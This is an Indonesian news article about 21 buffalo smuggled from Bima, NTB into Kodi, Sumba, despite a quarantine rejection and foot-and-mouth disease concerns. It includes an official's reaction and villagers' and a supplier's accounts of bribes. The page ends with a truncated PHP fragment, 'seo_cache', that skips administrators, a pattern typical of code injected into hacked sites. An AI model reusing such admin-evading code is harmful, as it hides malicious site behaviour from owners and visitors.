Peternakan

Mengaku Sudah Laporan ke Gubernur Soal Penolakan Kerbau Asal Bima, Kadis Peternakan Provinsi NTT Kaget Usai Tahu Ternak itu Tetap Lolos ke Kodi

×

Mengaku Sudah Laporan ke Gubernur Soal Penolakan Kerbau Asal Bima, Kadis Peternakan Provinsi NTT Kaget Usai Tahu Ternak itu Tetap Lolos ke Kodi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Informasi tentang 21 ekor kerbau asal Bima, NTB yang tetap dipaksa masuk lewat jalur tikus di pesisir pantai Kodi Utara mengagetkan Kepala Dinas Peternakan Provinsi NTT.

Kepada media ini, Senin (27/10/2025), Kepala Dinas Peternakan Provinsi NTT, Ir. Yohanes Oktovianus, MM tidak bisa menyembunyikan rasa kaget itu.

Perahu Ria Abadi yang digunakan untuk penyelundupan kerbau asal Bima, NTB. ( Foto Menara Sumba )

“Padahal saya sudah laporan ke Pak Gubernur bahwa 21 ekor kerbau asal Bima telah ditolak oleh pihak Karantina dan dipulangkan ke daerah asal,” ujarnya.

Mantan Penjabat Bupati SBD ini menegaskan, pihaknya kecewa karena ternak asal NTB yang sudah ditetapkan sebagai wilayah terpapar penyakit mulut dan kuku (PMK) ini bisa lolos masuk Sumba Barat Daya.

Dengan masuknya ternak asal Bima, NTB ini maka kategori zona hijau PMK untuk wilayah Sumba khususnya SBD jadi tidak jelas.

Ia menyayangkan upaya pemerintah untuk mencegah masuknya PMK tidak dibarengi dengan kesadaran dan peran aktif masyarakat.

“Sia-sia semuanya karena justru masyarakat sendiri yang tidak mengindahkan peringatan ancaman bahaya PMK,” tandas Kadis Yohanes Oktovianus.

Sebelumnya, pada Jumat (24/10/2025) sebuah perahu bermuatan 21 ekor kerbau digelandang anggota Polair dari area pantai utara.

Perahu “Ria Abadi” dengan nakhoda Eka berangkat dari Rompo, Bima, NTB pada Kamis (23/10/2025) malam.

Namun paginya saat hendak berlabuh dan bongkar muatan di Pahewa, Kodi, salah satu jalur tikus penyelundupan ternak asal Bima ini, perahu tersebut dipergoki petugas Polair Polres SBD.

Kerbau selundupan asal Bima, NTB saat diperiksa petugas Karantina Satuan Pelayanan Waikelo.

Dalam konferensi pers pada Jumat (24/10/2025) malam, Wakapolres SBD, Kompol Jefris L. Fanggidae, SH mengumumkan bahwa kapal bersama muatannya diserahkan ke pihak karantina.

Sedangkan proses hukum atas kasus penyelundupan ternak ini tetap ditangani polisi.

“Kami serahkan kepada pihak Karantina Satuan Pelayanan Waikelo untuk ditindaklanjuti sesuai UU Nomor 21 Tahun 2019 tentang Kekarantinaan,” ucap Wakapolres.

Sesuai prosedur Kekarantinaan, kapal bersama 21 ekor kerbau tersebut dikembalikan ke pelabuhan asal.

Sayangnya, diduga dalam perjalanan pulang yang tanpa pengawalan itulah perahu berbalik arah menuju Pantai Humma, Kodi Utara untuk menurunkan muatan.

Sejumlah narasumber media ini menyebut, sebagian dari kerbau itu telah digunakan untuk keperluan pesta adat yang saat ini lagi marak di wilayah Kodi.

“Dari delapan ekor yang ada di desa saya tersisa tiga ekor saja saat ini,” beber salah satu warga desa di Kecamatan Kodi.

Seorang narasumber lain pada salah satu desa di Kecamatan Kodi Utara juga mengungkapkan hal yang sama.

“Dari 21 ekor kerbau itu ada 11 ekor yang dipasok ke desa kami,” akunya.

Sebagian dari ternak itu yang sudah digunakan untuk hajatan pesta adat adalah kerbau jantan.

Sedangkan yang tersisa adalah kerbau betina dan anak kerbau.

“Untuk meloloskan kerbau, kami terpaksa harus rogoh kocek belasan juta uang rokok petugas,” tutur salah seorang pemasok kerbau yang enggan disebut namanya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>